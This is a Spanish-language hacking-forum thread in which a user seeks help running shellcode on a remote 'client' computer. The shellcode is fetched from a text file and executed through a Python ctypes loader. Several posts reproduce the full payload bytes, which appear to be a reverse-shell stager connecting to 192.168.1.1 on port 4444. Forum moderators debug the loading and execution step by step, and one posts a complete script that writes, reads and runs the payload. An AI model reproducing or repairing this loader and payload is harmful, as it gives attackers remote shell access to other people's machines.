elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [PYTHON] Leer una shellcode y ejecutarla
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [PYTHON] Leer una shellcode y ejecutarla  (Leído 4,347 veces)
Sentex

Desconectado Desconectado

Mensajes: 87


Programador


Ver Perfil WWW
[PYTHON] Leer una shellcode y ejecutarla
« en: 20 Marzo 2018, 19:05 pm »

Hola buenas.

Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente:

Código
  1. from ctypes import *
  2.  
  3. shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  6. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  7. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  8. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  9. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  10. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  11. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  12. "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  13. "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  14. "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
  15. "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
  16. "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
  17. "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
  18. "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
  19. "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
  20. "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
  21. "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
  22. "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
  23. "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
  24. "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
  25. "\x53\xff\xd5")  
  26.  
  27. memory_ref = create_string_buffer(shellcode, len(shellcode))
  28. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  29. shellcode()
  30.  

Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!


En línea

Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #1 en: 20 Marzo 2018, 19:23 pm »

conviertelo de vuelta a bytes, de toda forma será necesario si lo transmitirás sobre red

para convertir un string en un array de bytes solo es necesario usar .encode()

Código:
"texto".encode()

si quieres que sea convertido en base a alguna condificacion lo aclaras entre los parentesis, por ejemplo

Código:
"texto".encode('UTF-8')


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Sentex

Desconectado Desconectado

Mensajes: 87


Programador


Ver Perfil WWW
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #2 en: 20 Marzo 2018, 19:46 pm »

Me sale el siguiente error: WindowsError: exception: access violation writing 0x00000000
En línea

Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #3 en: 20 Marzo 2018, 20:03 pm »

ya eso es un error de windows y escapa de mis conocimientos, pero por lo que parece intentaste escribir en una zona de la memoria donde no tenías permisos, estás corriendo como administrador?
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.518


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #4 en: 20 Marzo 2018, 20:17 pm »

Hola!

Estás intentando ejecutar memoria que está definida como de lectura/escritura (La allocaste como string).

Debes agregarle permisos de ejecución a la página para correr el shellcode.

Saludos!

EDIT: Revisa ésto.
« Última modificación: 20 Marzo 2018, 20:41 pm por MCKSys Argentina » En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Sentex

Desconectado Desconectado

Mensajes: 87


Programador


Ver Perfil WWW
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #5 en: 21 Marzo 2018, 13:33 pm »

No es un error de permisos, ya lo solucione pero sigue sin funcionar  >:( .

Source Code:
Código
  1. from ctypes import *
  2.  
  3. shellcode = ""
  4.  
  5. with open("shellcode.txt", "r") as sc:
  6.    shellcode1 = sc.readlines()
  7.    for x in shellcode1:
  8.        shellcode += x.encode()
  9.  
  10.  
  11.  
  12. shellcode = (shellcode.encode())  
  13.  
  14. memory_ref = create_string_buffer(shellcode, len(shellcode))
  15. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  16. shellcode()
  17.  

Shellcode.txt:
Código
  1. \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30
  2. \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
  3. \xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52
  4. \x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1
  5. \x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b
  6. \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03
  7. \x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b
  8. \x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24
  9. \x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb
  10. \x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c
  11. \x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68
  12. \x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02
  13. \x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea
  14. \x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61
  15. \xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00
  16. \x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83
  17. \xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a
  18. \x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57
  19. \x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00
  20. \x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68
  21. \x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff
  22. \xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00
  23. \x53\xff\xd5
  24.  

La shellcode no se ejecuta y no suelta ningún error.
En línea

Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #6 en: 21 Marzo 2018, 13:42 pm »

ahh... pero es que tu tienes liretalmente eso en el archivo de texto... tienes que leer de 3 en 3 e ir convirtiendo a su representación
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.518


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #7 en: 21 Marzo 2018, 15:07 pm »

No es un error de permisos, ya lo solucione pero sigue sin funcionar  >:( .

Te puedo asegurar que ese código dará error en cualquier windows que tenga DEP activado (todos los modernos). Pero bueno, tú sabrás...

Con respecto a tu problema de guardar en archivos:

Código
  1. # save binary data in file
  2. shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  3. shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  4. shellcode += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  5. shellcode += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  6. shellcode += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  7. shellcode += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  8. shellcode += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  9. shellcode += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  10. shellcode += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  11. shellcode += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  12. shellcode += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  13. shellcode += "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
  14. shellcode += "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
  15. shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
  16. shellcode += "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
  17. shellcode += "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
  18. shellcode += "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
  19. shellcode += "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
  20. shellcode += "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
  21. shellcode += "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
  22. shellcode += "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
  23. shellcode += "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
  24. shellcode += "\x53\xff\xd5"
  25.  
  26. f = open("shellcode.txt", "wb")
  27. f.write(shellcode)
  28. f.close()
  29.  
  30. # load data from file and execute in heap (fails with DEP enabled for all processes)
  31. shellcode = ""
  32.  
  33. with open("shellcode.txt", "r") as sc:
  34.    #shellcode1 = sc.readlines()
  35.    #for x in shellcode1:
  36.    #    shellcode += x.encode()
  37.    shellcode = sc.read()
  38.  
  39.  
  40.  
  41. #shellcode = (shellcode.encode())
  42.  
  43. memory_ref = create_string_buffer(shellcode, len(shellcode))
  44. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  45. shellcode()
  46.  

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Sentex

Desconectado Desconectado

Mensajes: 87


Programador


Ver Perfil WWW
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #8 en: 21 Marzo 2018, 19:44 pm »

Cual codigo podría funcionar ahora?
En línea

Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex
MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.518


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: [PYTHON] Leer una shellcode y ejecutarla
« Respuesta #9 en: 21 Marzo 2018, 22:53 pm »

Cual codigo podría funcionar ahora?

El primero que te pasé tiene lo necesario para funcinar en todos los Windows.

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
C# - Cómo copiar la aplicación al ejecutarla?
.NET (C#, VB.NET, ASP)
Krata 1 2,468 Último mensaje 27 Octubre 2009, 18:17 pm
por Krata
[Python] Leer documentos. « 1 2 »
Scripting
Meta 19 12,357 Último mensaje 7 Noviembre 2010, 09:41 am
por braulio--
leer archivo con python
Scripting
poeta3d 1 3,525 Último mensaje 18 Diciembre 2011, 04:53 am
por 0x5d
[AYUDA][PYTHON] Leer y guardar archivos .exe de forma hexadecimal en python???
Scripting
Noxware 3 5,778 Último mensaje 22 Agosto 2014, 09:33 am
por Eleкtro
[PYTHON] Leer pagina web
Scripting
<Trocutor> 2 2,531 Último mensaje 4 Octubre 2017, 02:25 am
por tincopasan
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines